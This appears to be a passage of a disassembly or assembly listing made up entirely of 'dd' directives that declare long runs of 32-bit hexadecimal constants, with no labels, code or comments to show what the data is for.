dd 512A9D44h, 4146D4D8h, 94852A43h, 5BAE97BEh, 5FB8AB7Dh
dd 32EBBA9Eh, 182F9D52h, 910683B4h, 0F198B9B2h, 75EEBDDFh
dd 140A0C13h, 8403DBDh, 0F770955Fh, 0A17CC009h, 86085D31h
dd 85F10485h, 0DEA0EAC6h, 9DFB7DE9h, 756EFD69h, 80B16AF7h
dd 27EBFC3Fh, 0D4DFE2BDh, 0DC026974h, 42D71D87h, 0E3D275F1h
dd 0FD590A81h, 0FF3E8CBh, 5FE99F48h, 5035ABF8h, 0C8A1EB29h
dd 482C4230h, 42A2B51Dh, 16AD2160h, 639861EAh, 0E3ED564Eh
dd 6D17DFDEh, 0C0276CDAh, 0E9CDC654h, 53B063Ch, 0EE17D00Fh
dd 62AC5ACh, 0D3252C58h
dd 0F30521FCh, 0C066025Ch, 4E56823Bh, 0BE5F3298h, 84C29DD0h
dd 60672C1Eh, 0CD0B17D6h, 96A93F65h, 0F157B100h, 6CE28145h
dd 70447212h, 0CCA7AB0h, 3D674B66h, 4D31E910h, 142C426Ch
dd 2859016Eh, 0D15966CCh, 483A20E7h, 0F4796D51h, 0BF4F1986h
dd 9864C7BCh, 0AEE17EAh, 89CF2862h, 995E3E6Eh, 443AE95Bh
dd 440EE33Eh, 55131CC2h, 0B8AC716Bh, 9BD50741h, 0D5E948E6h
dd 0C506D442h, 73AFCE00h, 5220E9A6h, 5D37149Dh, 0FB4BA209h
dd 0BFC5BB8Ah, 351D0401h, 501612F8h, 7BDE2722h, 7DDDA03Eh
dd 0D5F0864Ch, 0CFA3495Ah, 4F7B94D0h, 0B270FA94h, 504E2EA5h
dd 0E8F9D96Ah, 215526A2h, 0F2AE08DAh, 0D4BFBE12h, 2EB6BB73h
dd 0BC4FBB3Bh, 0B846D807h, 4697872h, 0C1E9EAD1h, 8143006Bh
dd 5A645ACBh, 8C3019Ch, 7C37987Ch, 0FD8F502Bh, 18DE0D18h
dd 0EACC420Ch, 4B217929h, 98BC905Bh, 0A959436Fh, 23F44E65h
dd 0BA5B40F6h, 9340D709h, 790CD775h, 81F7890Dh, 33C3C672h
dd 163068DCh, 0EC0D10B4h, 6808903Bh, 7D25141Ch, 0F62D33E7h
dd 0F8E96256h, 7E4A58DFh, 0B8779DE8h, 0B7595476h, 0A7F98B0h
dd 5564D005h, 0D8D56AE9h, 73F30916h, 16EB8C84h, 69FB1857h
dd 0E41C64ACh, 0DEB9745Bh, 216B33F6h, 9122E350h, 7774B580h
dd 66E5407Ah, 8F96FEB0h, 0B0D270Ch, 0F077D6Ah, 0C0B70F5Ah
dd 642B68EFh, 16505D09h, 39165D9Fh, 0C1A86C4Bh, 0F8050BDEh
dd 7E687418h, 63D9305Eh, 5A402547h, 4EE926F7h, 0B7D2FB51h
dd 5670FDC6h, 3FCAC1F9h, 0C1D138CDh, 68169438h, 0E050CDE3h
dd 7B9749B6h, 69EE676Dh, 0ECA97975h, 53495B60h, 65D901ACh
dd 2D581FC8h, 28940645h, 4C438EBAh, 1E27003Fh, 0E78169FFh
dd 0F11FF87Ah, 8E26830h, 1F7E0FBh, 0E2BB9435h, 0A6ADB482h
dd 0BC9DF45Eh, 807B8041h, 0F35B1BBAh, 52F250C0h, 0BD2B6F02h
dd 0F1808BD4h, 317BAC60h, 28E90D6h, 0BF63D1F6h, 517F893Ch
dd 58349DEh, 2BA07DA3h, 0D800F740h, 76D5A25h, 0B02054Eh
dd 1FBBC22h, 817DC5BAh, 53F1688Dh, 3678C54Dh, 8F2F9758h
dd 41D7288Bh, 0EDCCC15Bh, 0DD283C43h, 0BFDBC53Ah, 0D07A2562h
dd 0C1382420h, 0E4253F2Ch, 10C5CD00h, 1C7BB179h, 0DB26042Dh
dd 2DBA4CDh, 32D13C1Ah, 0CDA7E6DFh, 3A191DFCh, 28423E91h
dd 4928B7Ch, 0AC6959B6h, 137C379h, 0B0E9E039h, 54C18262h
dd 0BE6861D3h, 5AFB9208h, 403850CCh, 114DE973h, 6E2130ACh
dd 4D1E181h, 4929C55Fh, 56158053h, 2D6EBD26h, 0A16287B4h
dd 82A1DEC9h, 0EDB6E908h, 0CC05705h, 4B8A63B2h, 7A0DE12Dh
dd 31D5CEDh, 4BD45D30h, 46D5F6DFh, 5A507B88h, 7FE2E11Bh
dd 0AA92DCADh, 0BC50AB3h, 0E4B711E8h, 0D6BD55C0h, 4F4B153Dh
dd 0D7BA6FC2h, 1F4A75A0h, 0A9F441A7h, 2C3CF163h, 0F6E979Eh
dd 358864D8h, 5A7B49F7h, 218D82FEh, 0D8F4F062h, 3B60BD1Dh
dd 2FF8C380h, 0C2597568h, 2F3EB74Dh, 0AED110B0h, 106D5E5Bh
dd 15BA1C19h, 0BE7D2540h, 7F4B4C79h, 21AA25E8h, 0AB63E87Ch
dd 0BD2E024Dh, 95B4B62Fh, 1F240FFh, 0AFE79EF7h, 41561841h
dd 796B54B8h, 0DD0E10B8h, 6A110D01h, 0EC4816DFh, 6E9D3741h
dd 416F98C7h, 25B29354h, 0A101C8B0h, 0C43F0DB4h, 48C4BDF2h
dd 2C821689h, 0F8A439EAh, 1397A702h, 618AC1B8h, 8565283Ah
dd 0BD2EC041h, 685F051Dh, 0BBEC778Eh, 0B033E9C3h, 7CF02925h
dd 2E3A5941h, 50DA96CAh, 0B2249153h, 0DA4D4C40h, 20C99010h
dd 567E6029h, 75030C0h, 955A0AF0h, 0BB2EA47Dh, 4ECE5AAEh
dd 9FC47857h, 0FF9500FAh, 0C2F580ABh, 0F5080B8Ch, 0E2D5A2C2h
dd 19E6C553h, 2E234E57h, 0DF1A01AAh, 30FB315Bh, 76BFEFADh
dd 71E88A42h, 8FB094EFh, 3F31D12h, 1043BD78h, 41767BC2h
dd 37E7CD82h, 0C5C560F1h, 942A2DECh, 8A02C87Eh, 5736026Ch
dd 0C2E95601h, 0E1E93B41h, 44AF513Ch, 80C00F05h, 90E180DBh
dd 0A370CEEDh, 0C2BF5160h, 6067161Ah, 82350C28h, 84B846C6h
dd 2C89519Eh, 541BD71Dh, 2A6AC0CAh, 6C745541h, 4C99960Dh
dd 0D2512001h, 9BC5383Ch, 62F6EEAFh, 0F1FE7C6Bh, 0C613D5A4h
dd 4DCF49D0h, 0B0675E13h, 7328AD79h, 74F9A94h, 74BFC400h
dd 2332D71h, 0CB1AF781h, 895784C4h, 88E45E5Eh, 0E90E4717h
dd 5D441772h, 5300E11Dh, 0CB8063B3h, 0F32D8273h, 0EB314064h
dd 3374979Ch, 0C007EC0Fh, 0E1282CC4h, 21D827E9h, 2150FA71h
dd 0E21C5F4Fh, 0E03D1036h, 5BD3D740h, 8090AD13h, 78685153h
dd 7AA6034Ch, 7CF18159h, 0CB890F17h, 0E4398C0Bh, 401457Fh
dd 6AE8AAABh, 842C7BE9h, 0E04212D0h, 0BD09FF52h, 69A4D543h
dd 555DC3DBh, 14EE7712h, 29711B02h, 880EF6FEh, 0F63E5711h
dd 4A13F959h, 2B424744h, 550F450Bh, 65673642h, 0D0276AE1h
dd 4748031Ch, 36175F77h, 0B41910F9h, 5D3C6Eh, 50B3ACB6h
dd 0E04AC9CBh, 0EBEB98F3h, 5E62E720h, 506B8C31h, 196F7D13h
dd 563207E8h, 0F20E0292h, 0C2A445BCh, 0F709C98Eh, 3A26AE82h
dd 0E162FB57h, 7F606168h, 2682E82Dh, 71C863A5h, 735EA57h
dd 9705E908h, 0B88978F3h, 0BD325075h, 3BCB7E82h, 8EAC6D48h
dd 31716012h, 0BFFC6716h, 0ABB9F4Ah, 0A85286E9h, 60515A8Eh
dd 8AD08850h, 3243B54h, 81084435h, 48CAFEA4h, 1C40FFE4h
dd 6DDED01h, 0C885407Eh, 3115E412h, 4B0FDEB5h, 77407C42h
dd 55377175h, 0D5DEE7Fh, 0AA1B96Eh, 0A527A2E9h, 384E5198h
dd 883BEBFAh, 7A1D944Dh, 6BD40C2h, 6E4E363Ah, 0CA05651Eh
dd 0DC8EE4C9h, 1FB1F0Bh, 0A8F10221h, 40F2569Ch, 0DEF675B6h
dd 76E68007h, 0C620CEFEh, 0A6583D68h, 0B65201B4h, 280DB037h
dd 0B18E40F0h, 0E93980D5h, 9BD7555h, 3BC26F94h, 918DA028h
dd 15218967h, 0F65B6CFFh, 0BCDAB26Fh, 69FA5BD8h, 578289FDh
dd 74BDA6B4h, 9F417244h, 5D5F02C1h, 839A01C7h, 2371770Ch
dd 2385FC17h, 4C288BAEh, 0D5BD8BF8h, 1ACD0322h, 926070DCh
dd 4B458F7Fh, 5201005Ah, 0C23FA6BAh, 0D613306Bh, 575F09F8h
dd 0DD4EDE86h, 1EEBC35Ah, 0F38DCFB4h, 0DA93257Fh, 207CC8D2h
dd 0FFBD550Bh, 0F7D9662h, 0EDE3494h, 0FD579653h, 0E6278A89h
dd 896BB7D0h, 3EB644Ah, 7863E990h, 5D1E7B76h, 6265063Dh
dd 2F45645Eh, 4D167C77h, 8AC2E8A3h, 0CAEA3FE1h, 5D058DDBh
dd 220EF121h, 0AC4AB013h, 97523C59h, 0BA443DDFh, 78BBF921h
dd 5DB0C123h, 5E257C96h, 26B88ABCh, 81296BB8h, 27A1C675h
dd 0E7C5EA19h, 892BC769h, 6575C188h, 0EB918B55h, 50EF48C3h
dd 5AC9616Dh, 1AB4A95h, 0BE4BE908h, 4E4B32Fh, 802723C1h
dd 0B96A75C7h, 0FDEA0820h, 0D4CEF448h, 167C3EFBh, 20BF652Fh
dd 0BEE90220h, 7CCEFB4Dh, 0F6076D9Ah, 562737Dh, 42ADCE60h
dd 0B9204A2Ch, 4B76E88h, 0BCBEF529h, 0DFE603BEh, 184734h
dd 0B44BB63Eh, 467DBF3Eh, 0E01A592Dh, 0BD41DCBAh, 5EE6D55Ch
dd 1FB40456h, 0EB5372A3h, 0E437A224h, 0D9E16DA5h, 2CF43D6Dh
dd 909F29F9h, 0BDDA9E50h, 59CF20B8h, 0AEF9A79Fh, 38FA2818h
dd 9013AF3h, 7D68FD01h, 40D6664Bh, 0ED05810Fh, 682054F6h
dd 0B3A891Ah, 69D9F108h, 0EB4E19DFh, 0B53AFC7Fh, 0ECD800ABh
dd 5758CE49h, 0AD7CEAB0h, 0D0747D82h, 4C3BC5EFh, 0FBB9CCFFh
dd 0B5547AB7h, 4C56137Eh, 0CC4F1DE9h, 82B7A067h, 0F7B0BEF6h
dd 4ACBD642h, 1C9C8820h, 0E7D0F792h, 0DD0FE955h, 0BC69EF2Ch
dd 0DA48C377h, 2C23548Fh
dd 0FF61D27Eh, 900732FDh, 52088917h, 0DC072031h, 0D6CF69Ch
dd 53560158h, 0D76F9668h, 0E2A1440Eh, 0C8C01A5Ah, 15467762h
dd 0AE4F2142h, 30E99788h, 0E28FDB61h, 0CE3B05B1h, 0B2F21C38h
dd 0C02D4E1Ch, 9553800Dh, 16D11A1Ah, 5E697CADh, 4D1D630Fh
dd 59C80538h, 0FD07B5C2h, 3CE6E54Ch, 45CF4AB4h, 9C4428EDh
dd 1412596Ah, 0FE07EF54h, 0D7228658h, 561AAC90h, 711BF2CBh
dd 6FF8820Ch, 2C631FD2h, 551292D7h, 947D3A60h, 7674E42Dh
dd 2F722B0h, 353EBF57h, 67C32D91h, 0FFEF33DFh, 81060676h
dd 725063CFh, 20D920BEh, 893056BFh, 0A4F5CE68h, 38BF1448h
dd 0EA28E97Dh, 885AEADDh, 0B619DFACh, 83BA10E7h, 682795BAh
dd 0EEC57F59h, 0A06EBD49h, 9327579Fh, 69456258h, 95AE1855h
dd 0B1E9B742h, 70BC2F05h, 0BF4A5B3Bh, 0C8012280h, 0F4D232E9h
dd 0DE82D178h, 0D8E2DEF1h, 4813675Ch, 535F40A3h, 63CAAA67h
dd 0F8A6EFD2h, 0EACAAED6h, 4B83C910h, 0AB5A85B8h, 0F45B570Bh
dd 0DBE90400h, 9E2EECF6h, 9096380Bh, 3D53AFCFh, 6C927622h
dd 85F43728h, 0BAAC5702h, 7DBB0062h, 2B29A9E9h, 0B90C7244h
dd 59DE6FECh, 21C1158h, 3180A285h, 5EDFE1D1h, 80D9C76Eh
dd 351C8F28h, 612C7C0Bh, 1354DEFEh, 0AFFC57h, 1A6E4B0Ah
dd 0F418EF81h, 0FF4D4BB6h, 84F81CC0h, 0C3D848B3h, 0DA0BFB39h
dd 3E25F5Bh, 0B5A752F7h, 0CC2D6743h, 0EF0BFE9Ah, 8BDD506Bh
dd 0C9C65D2Fh, 7EE35BF8h, 4B722BF3h, 56745321h, 691DBBCBh
dd 0E4A7CA1Eh, 17709DEDh, 2580063Eh, 0A283D716h, 0EE840FEAh
dd 2DE93898h, 341026EFh, 449DD828h, 123324E2h, 39A400Fh
dd 15B161Dh, 877BD92Dh, 649A2335h, 0FC572FAh, 5C5C018Bh
dd 0FC4C6554h, 8FBF4AD1h, 0C82827A8h, 5B7EAD6h, 29478D71h
dd 8D910FAh, 2CC20116h, 55955F11h, 56088400h, 0A67EDE9h
dd 646CD118h, 0A0371F88h, 0BAC54841h, 2C83C182h, 2C74F47Eh
dd 0A4D58051h, 0CD01B412h, 0E19267F4h, 5DEF2D4Eh, 8C571691h
dd 3460CC72h, 5B04EB51h, 27747B58h, 7D5E6562h, 270E66EFh
dd 57BD4A16h, 0F5DAF155h, 0DBC56A43h, 836FB3FBh, 59808E9h
dd 3AF0E269h, 245987B7h, 59A8BE51h, 57D8AFA5h, 79C56059h
dd 81E4A74Fh, 0B460089Fh, 0A1C3A05h, 8FAAC09h, 272408E2h
dd 44B7930Bh, 641EF010h, 8355106Fh, 5FA07E92h, 51974F4Ah
dd 23B40256h, 0CAD6BECCh, 54E45512h, 5967275Ah, 70C1742h
dd 749FEF80h, 42917A7h, 0AA4E4CBBh, 1C21FBCBh, 0A112E909h
dd 413668A1h, 0B90F313Eh, 5EC17A7Ah, 43898E9h, 0ECAFE12h
dd 0C3672585h, 0D6EB6362h, 0E9C90606h, 471082Ch, 4375C1EEh
dd 8005C549h, 863B0DF3h, 0F507417Eh, 6DAD1193h, 38D4E561h
dd 2A123638h, 3CE314E6h, 0E2B10739h, 7EDBDA0h, 1BBEEB4h
dd 0E3193D00h, 0B79A6C43h, 98395B6h, 8716A9EBh, 0DEAC9C82h
dd 29313501h, 0E07A52D9h, 2B0F2D40h, 6524494Fh, 70E05F8h
dd 42B0C15Fh, 0CBEC638Ch, 5A01396Ah, 9D2DD810h, 21E4116Ah
dd 6905784Fh, 7DE41124h, 0DE2831D5h, 0BC6316h, 3D4AEC68h
dd 781C4918h, 0BED72714h, 1F9BFC1h, 0F15E984h, 0C94AF2FEh
dd 256676ADh, 615AE454h, 0C42A6FB1h, 77BCEB6Ch, 0EDEFFD2h
dd 7546628h, 0B60DDECAh, 0E89B37Ah, 0DDF64C02h, 7776F580h
dd 0D8099D8Eh, 46883133h, 70534168h, 0CFB10AD4h, 0DC39FBC0h
dd 80C60EEh, 2B45053h, 58E78818h, 6EF5F928h, 0F7C62012h
dd 0F0B431F9h, 964F2C94h, 2D54A0C1h, 24F7F074h, 0FE252D3h
dd 25BF0D3Bh, 215FE8F5h, 40EC3B03h, 1EB9F603h, 0F0E76C07h
dd 0C2B536Fh, 5FCD24CFh, 7427886Eh, 0A6079A7Ah, 5048778h
dd 7CBB6D14h, 49800884h, 5EB95003h, 5CBF82Bh, 57023D10h
dd 0AAA1C4AAh, 1651BB2Ch, 0AC0E1AE9h, 4DB9E4B4h, 0A2915084h
dd 13659D91h, 0D4819D27h, 28874BFBh, 3F5E555Dh, 967DF0CBh
dd 8D68B5DDh, 619F4642h, 5262C74Dh, 6028EE05h, 0F001EBC0h
dd 21CD7ECFh, 6E6B53Bh, 14811C08h, 2DFF2F5Ah, 9C00E279h
dd 91B9B2E9h, 94588DC8h, 471D5FEh, 0BC5B49F8h, 0B1AE9203h
dd 0B5E5285Eh, 4ABBB3BAh, 97BC5BAh, 8CC619B8h, 2B8F204h
dd 0C0C14DD4h, 672040A3h, 942984Ah, 979DAF9h, 55A7BDFCh
dd 0B1BDB93Ch, 19801D4Ch, 98A6BB53h, 29259410h, 88CA80DDh
dd 0EA2DAB5Ah, 350240A4h, 0BB67500Ah, 0D817A097h, 294F6009h
dd 8F0B7543h, 64096554h, 2DCEDFB9h, 0B5A1A6BAh, 258038D5h
dd 892D3E7h, 5A12D9D0h, 0EB5A86ECh, 685B9841h, 0B33E1E2Ah
dd 4B7F79CBh, 805EA92Fh, 0AA196187h, 0EBF895FDh, 9E80B0BCh
dd 2965E962h, 83B9AC74h, 16DDF10Ch, 62E8C934h, 40080607h
dd 99CAC8F5h, 0A40182C8h, 97B2716Eh, 9D843CAAh, 68825BA9h
dd 0CDF5656Eh, 1A018B43h, 37570A69h, 2A6D1C07h, 3DEE4B38h
dd 0CACE28D0h, 58171268h, 816C8E08h, 726AADEDh, 570C8B5Ch
dd 89050401h, 0AA88E4AEh, 58E3205Eh, 5F1E0303h, 21983566h
dd 0E92D01C4h, 0D522C284h, 629DF214h, 66E55FB6h, 545960A6h
dd 0B16FAC6Eh, 0D36AFB80h, 83C1DF3Dh, 0D35D8B02h, 8A48E5Ah
dd 90E02575h, 2C1218EEh, 0BCFC13BAh, 363FE9C2h, 8A1990D5h
dd 0F329802Dh, 8751E3FCh, 0C1016E0Eh, 2C2018A4h, 0F0F0FB14h
dd 0CA6D4E2Eh, 0C5FE10A1h, 75EA6631h, 0D705D4BBh, 2D5E6A79h
dd 0B07A01B1h, 0C95BF350h, 4B4CAAA2h, 0B8499512h, 8BEBE403h
dd 11A710CDh, 448DB903h, 57D14720h, 747FA4h, 51CC8303h
dd 1BED94B1h, 2BE90840h, 25634A52h, 9FE3C4FDh, 0AB75E922h
dd 4F027709h, 505C0E2Ah, 9719F0D0h, 0C58A27D1h, 893F6CB8h
dd 5D131679h, 3E085028h, 7908C22Dh, 9DC601FAh, 725F4C2Ch
dd 24F60077h, 0E93EB521h, 3F1D417Eh, 22B9DF0Bh, 815A66F6h
dd 506CEABBh, 136FD3F1h, 3FDEFF1Dh, 0E3B23817h, 47CF1230h
dd 4C4761FFh, 59313E5Bh, 0A63B050Bh, 72089638h, 68BF019Eh
dd 2E290F7Ch, 0DA7CAB1h, 9FA419F4h, 15078400h, 1280BD33h
dd 0EECCEAF8h, 0CBEB4895h, 46E984CCh, 0AD0490F8h, 0AF19BA68h
dd 0F1750837h, 0B27077AFh, 0B5A92E14h, 80207A5Ah, 5277F634h
dd 3027DC28h, 0D3DDC309h, 7A554D80h, 8E3B2199h, 0D48327D1h
dd 84F59D70h, 0EB1EC815h, 5EF80792h, 2FDC59A8h, 0E21FDC17h
dd 0BE1D5050h, 42644B7Ch, 1479F486h, 0BA92148h, 0F7FEE732h
dd 28610B39h, 0EFBD26FEh, 702FB009h, 55A902B5h, 0DD213C59h
dd 72D6BE1h, 40FCC29Bh, 8088FE26h, 310316B8h, 0C5214BECh
dd 0FC20758h, 0C6489B7Ah, 3542FE8h, 205EB9A2h, 4C56BE88h
dd 0FB7130Ch, 9338BB76h, 42E79CBFh, 0B27C1E66h, 0D82EAC9h
dd 0B1EF29E2h, 402ED03Dh, 16E1F63h, 0CF5A097Eh, 61C4DDA2h
dd 0D88903C6h, 913F450h, 9D619E71h, 0C10744C5h, 1069CC0Fh
dd 247B49E6h, 2053C05h, 116109F0h, 46E5115Dh, 0FDA7E775h
dd 0A126147Dh, 0BA1495CAh, 9DD180E4h, 57690154h, 2998BBBEh
dd 6D3D8909h, 3533F745h, 92EDCA4Bh, 5DED614Ah, 0B5BE00B4h
dd 9142D51h, 5B0933DAh, 0DFCC24A2h, 3658B809h, 1CDBE917h
dd 55294C8h, 583F3ABAh, 6AE90530h, 0D9DEF8A4h, 133BC014h
dd 3F0EEAF0h, 74EA16ACh, 18E2FF0Bh, 77D368C2h, 0F5A74ED9h
dd 3710FB8Bh, 18044815h, 0A8FBE970h, 2C6854CCh, 62996738h
dd 96F784B5h, 43F925D7h, 21EBE77Ch, 68255770h, 5E5D43DAh
dd 0A1D8F9F1h, 5B7C5686h
dd 0D1B25FA2h, 0FE9DFAD0h, 0C45894FFh, 2047A472h, 0F3E0EE86h
dd 0D1F2D898h, 5D599092h, 37B95EACh, 0F409B4A5h, 0FB3B5D45h
dd 683E282Dh, 4D27E993h, 0D6A0ABB1h, 0E5BFBD40h, 0CDE6C5Ch
dd 5027B547h, 1011885Ch, 8100D068h, 1A06B6F1h, 72F84926h
dd 5D25CA9Ch, 56ADA4E7h, 0B8575288h, 634AE91Ah, 55E047CDh
dd 26A3A6C1h, 0CF680B31h, 0EBFF5E54h, 20CE147Dh, 687CA919h
dd 0F8156D62h, 0B251072Ch, 0CDE166A6h, 6AC53B59h, 99382BBCh
dd 0D8C0AA25h, 0FE41D754h, 1A45F66Ah, 5D18CFCCh, 41F871CCh
dd 70B465Dh, 3E1C0C9h, 0E4934FA2h, 8FD79542h, 0EF226537h
dd 52AECCD4h, 8421A393h, 6BB884E9h, 30C98101h, 0EC7EE671h
dd 0EEF5D310h, 0BF33DBDDh, 28704413h, 0C30580B2h, 6A9F685Ch
dd 0E150BF32h, 0AC96E87Ch, 2B81EA08h, 680FFC1h, 59CC8838h
dd 30267DB2h, 790881E2h, 33F8257Bh, 6520E641h, 30984BD5h
dd 376FEDB7h, 7651BF2Fh, 0DAE48C90h, 0FB0FBDC8h, 4A27707Bh
dd 8781C7A9h, 31DDF7EBh, 0B00996D3h, 149F2A8Fh, 0DAE31ECDh
dd 0C625816h, 1916768Eh, 730B432Dh, 0B2957EBEh, 0CF604604h
dd 0F02E7814h, 0B807F754h, 21003718h, 5420E9F3h, 9F68F1Fh
dd 39404A67h, 523C8E00h, 11295B7h, 38AA5EF2h, 41E580A7h
dd 1FCE379h, 306AFD68h, 1981B812h, 609FEC72h, 4F9A760Eh
dd 0A501BF0Ch, 8B59859Eh, 0B684143Ah, 0BF057420h, 35515220h
dd 580789E9h, 676F734Dh, 8F5592CFh, 0D509E5D0h, 295B30h
dd 530E02DAh, 4BFEB026h, 749B8854h, 17F46E14h, 242C77A2h
dd 0EB02836Ch, 740C3468h, 40F6850h, 0FF72B7E9h, 0D8906C22h
dd 0F7BE13ADh, 31880AB8h, 0A9CE3F8Ch, 668240A5h, 29D0B341h
dd 2705EED0h, 9A746FE7h, 5F5040C2h, 0D705EE98h, 0BEAFE40h
dd 34881B13h, 0AF7529C2h, 840223A5h, 0CA0C022Eh, 31FAF0F3h
dd 0DC17EDF4h, 0FDCB6F90h, 1D3A2F66h, 0A72D735Ah, 95E1C4A9h
dd 5177753Ah, 55F952A2h, 0FA7CE904h, 0ECEBC0A4h, 20C9302Bh
dd 0DD39B90Ch, 4A29D839h, 80834E3Ch, 505FD3E9h, 5C2568F3h
dd 0FF45E94h, 51C8B70Bh, 76A21854h, 327C95C9h, 0B7FF5CC5h
dd 0D8E91338h, 0B354AD83h, 0AF17BD0Fh, 71428AFFh, 9B0A1A90h
dd 0C07C8C40h, 37772301h, 0BC804A56h, 0D9AB368Dh, 5A5FD101h
dd 0E98426F2h, 5E49BF3Ah, 997055F7h, 7E25139Ch, 0D82108D2h
dd 4EF36804h, 133D3498h, 0BC3A0274h, 0C0BC5ED5h, 1378C987h
dd 0D3B708CEh, 0EB2FD74h, 63DEBF68h, 71B0F69Fh, 0E80BD3BAh
dd 0A4EE8956h, 0A5D55D58h, 0F8994D09h, 74E4C22h, 864B0906h
dd 0F63B0E34h, 10849305h, 4F68C181h, 0B6FA84CBh, 0DA8B3B6Eh
dd 0BF4FA0CBh, 0CCC94D46h, 5F70BF64h, 0FE2CBFB3h, 0F4A7B609h
dd 300A60D9h, 0FEB543A5h, 130CC88Bh, 0B7A6AF5Bh, 0D0DF654Ch
dd 1F415E25h, 67E04B38h, 0D9E9F19Fh, 285C20E4h, 0A268A11Bh
dd 0E23B8D6Ah, 5AA431FFh, 6F79AA2Ah, 2A6DF13Eh, 0B150D868h
dd 0DC10151h, 3A940802h, 61EAEF13h, 89AE1A75h, 92095BA6h
dd 8C7BDC23h, 38AF1974h, 0A8F70565h, 3E5DFCE0h, 15935559h
dd 0AE253423h, 3FD50C08h, 4B25B115h, 6B7B3178h, 4FB7747h
dd 671760B2h, 0EE997478h, 0E2DE338h, 4A811B66h, 2051F2A1h
dd 0EEE9200Dh, 9188FE5Eh, 46195B58h, 1CCBC06Bh, 5FB6054Eh
dd 64072D7Dh, 6CC178A0h, 529D3D43h, 0B088260h, 92B4DDE7h
dd 5CD9DE35h, 0DFC5CD09h, 0B2E24163h, 5B1303D4h, 3F59EA8Ch
dd 97A4F030h, 0AE5C961Dh, 0D151D9CEh, 0E985CD63h, 9B12AF9Fh
dd 2E116DEFh, 0B83E47E1h, 505EF5C7h, 2C4A8AA7h, 76F4DA39h
dd 0D81641F0h, 0DEB53862h, 6FC8FA21h, 1EC106BEh, 5EF70159h
dd 7FFBE12Fh, 5479E3B3h, 6BEB7D6h, 0DAF3CB62h, 0DD972C31h
dd 91981785h, 6C75E997h, 6A8D3724h, 53590ED2h, 0FA4C2F9Ch
dd 0E5E0909h, 0C4FF0425h, 529E0E4h, 52FAD82Fh, 2E8DC157h
dd 0AB84C303h, 8A4E3CE6h, 32F35A4Eh, 833BBA62h, 49EF3106h
dd 40249A23h, 2D191CA0h, 9B28B0DFh, 9D149FEEh, 702554BFh
dd 189D461Bh, 9774ACEBh, 49136DC5h, 0EF60601Ch, 552ADADBh
dd 0B0902252h, 9FDAED20h, 0FC9F23FAh, 0D1808C16h, 3E0FCD91h
dd 6448F527h, 0C9BB4FADh, 0BFF305F2h, 0C824FE1h, 65F215E0h
dd 8A0CED4h, 2398E918h, 2E84F64Fh, 8FA1175h, 0E825A869h
dd 0BD205511h, 3CF70FADh, 73E600F4h, 0FE292ABFh, 26D25E9h
dd 0D780CAEEh, 0CCD3FCD0h, 0BAE00AFFh, 0F6A7A791h, 9D4B9468h
dd 0C2F5420Ah, 0C796F67Eh, 0E29FC5FBh, 24789DBh, 42069497h
dd 6EE07FD9h, 0C604B951h, 0E9389867h, 6856B0C5h, 4D451EAEh
dd 6E5C871Eh, 9F5CCBFDh, 7422375Dh, 0B20B8694h, 19BF467Ch
dd 0D0EA0BE9h, 17912258h, 11A2C046h, 0EEC4B385h, 0EFC1E930h
dd 0CFDCB502h, 40EBD449h, 846E403Fh, 0FE9A8595h, 10B1CEBAh
dd 9242CC3h, 0F3253C77h, 0F25B70FAh, 0B85EF6D3h, 6B71F7E2h
dd 0FA07A054h, 0BB9F61EAh, 88D5E5FEh, 12D3A23Ah, 0E0B0EA2Dh
dd 5B94F659h, 0CE3FD0D4h, 442D4DF3h, 21E9816Fh, 0EE4013E7h
dd 0C77A3D9h, 2045E994h, 0CF0BF581h, 0C656EF25h, 0A07E25E1h
dd 0C6B611DFh, 0AC27123Eh, 0EAF94E24h, 0A2D5E24Eh, 0BE7CE8CCh
dd 0BD071985h, 0BE169449h, 0DD01A56Eh, 0ABF7347h, 9CDFE9D8h
dd 0B8AA5D99h, 3A97F13Fh, 0C47164ABh, 0CA1FBD1h, 8646DDC6h
dd 3020B209h, 0D45E80EAh, 24C2805Ah, 0B682876h, 6FE812F7h
dd 6880E8C0h, 2D69759h, 5B323F61h, 0B34255CDh, 5E5BF598h
dd 0E9418121h, 0CF72A5FAh, 0C5706E04h, 8191FE96h, 0CC2B0D62h
dd 0EC5C1623h, 39298111h, 0FE7027B9h, 0F7531898h, 479E0C5Fh
dd 31D83Eh, 0B5954DE9h, 0A1CB01E3h, 2101DAD3h, 361FF8DEh
dd 68E164BCh, 0D87F49FCh, 0F52FE99Ch, 6820B876h, 0B9325B99h
dd 0E01811Dh, 44203A65h, 32E2129Eh, 0D10909C7h, 0F81C4057h
dd 160C3247h, 78CF7AAh, 0C041A1EAh, 0D68EB657h, 0D9974657h
dd 3FD64993h, 53955712h, 1F05C007h, 9954A113h, 0C3E27FDAh
dd 0CBF6D950h, 9B5F4E2Bh, 5DC1EAA2h, 42533820h, 0AAF469EFh
dd 0C6EB9D64h, 0DEC7AC9h, 79C3A6C8h, 80BC5E51h, 3EDC103h
dd 7CE813B0h, 29230612h, 0C9DBE2EFh, 0C24574D3h, 22D51057h
dd 49444307h, 0AF807880h, 2F20E02Dh, 0F9B731DFh, 9BE9670Bh
dd 95BCCAF8h, 4D6CDA71h, 360E404Ch, 2DE9FED0h, 13D305FCh
dd 0E3AA7434h, 0E1C50946h, 1256F1FEh, 0E353F43Bh, 1E0F1109h
dd 0B5090044h, 0BFFAF528h, 0B504060Ah, 0FF5269h, 0FECD74D3h
dd 0EF0381C0h, 47BB2B55h, 7505FAE9h, 4ACA9B9Bh, 8627225Dh
dd 70CF6C1Fh, 3ED98202h, 16FB1165h, 137BCA6Ah, 0CEF8F368h
dd 918426D4h, 0EC77EABEh, 0CF165B5h, 0A41AA22Ah, 0E97BF1AFh
dd 5B386ED5h, 73902568h, 4D6AC1F1h, 5F1E443h, 0D6DBE6Eh
dd 96D381AFh, 57EE1227h, 0F6690A44h, 3041FDAFh, 2702F388h
dd 2D6921C6h, 0D340554Ch, 0C082193Ch, 810F6781h, 4E36F5Ch
dd 0FEC60DC2h, 973C08D9h, 9B49B7FDh, 54D8C0CAh, 7F92569h
dd 8A08774h, 5FD5E49Fh, 7F82A196h, 0BEC0D8ECh, 6D51363h
dd 26520501h, 0F0014633h, 17532D70h, 11FD770h, 525A1646h
dd 9A83A7Ah, 5325D291h, 7A810289h, 71176B93h, 0A02B40h
dd 0EB77569Fh, 9534FB4Ah, 9A0161AEh, 48B9C5h, 4DEE80CEh
dd 0E75AF530h, 51D4FFDBh, 0EB09ACADh, 0CA55333Dh, 5683FDFFh
dd 400BDB9Ch, 11190368h
dd 0FB055754h, 41C448C4h, 5D25E809h, 14755DB2h, 0BF57002Ch
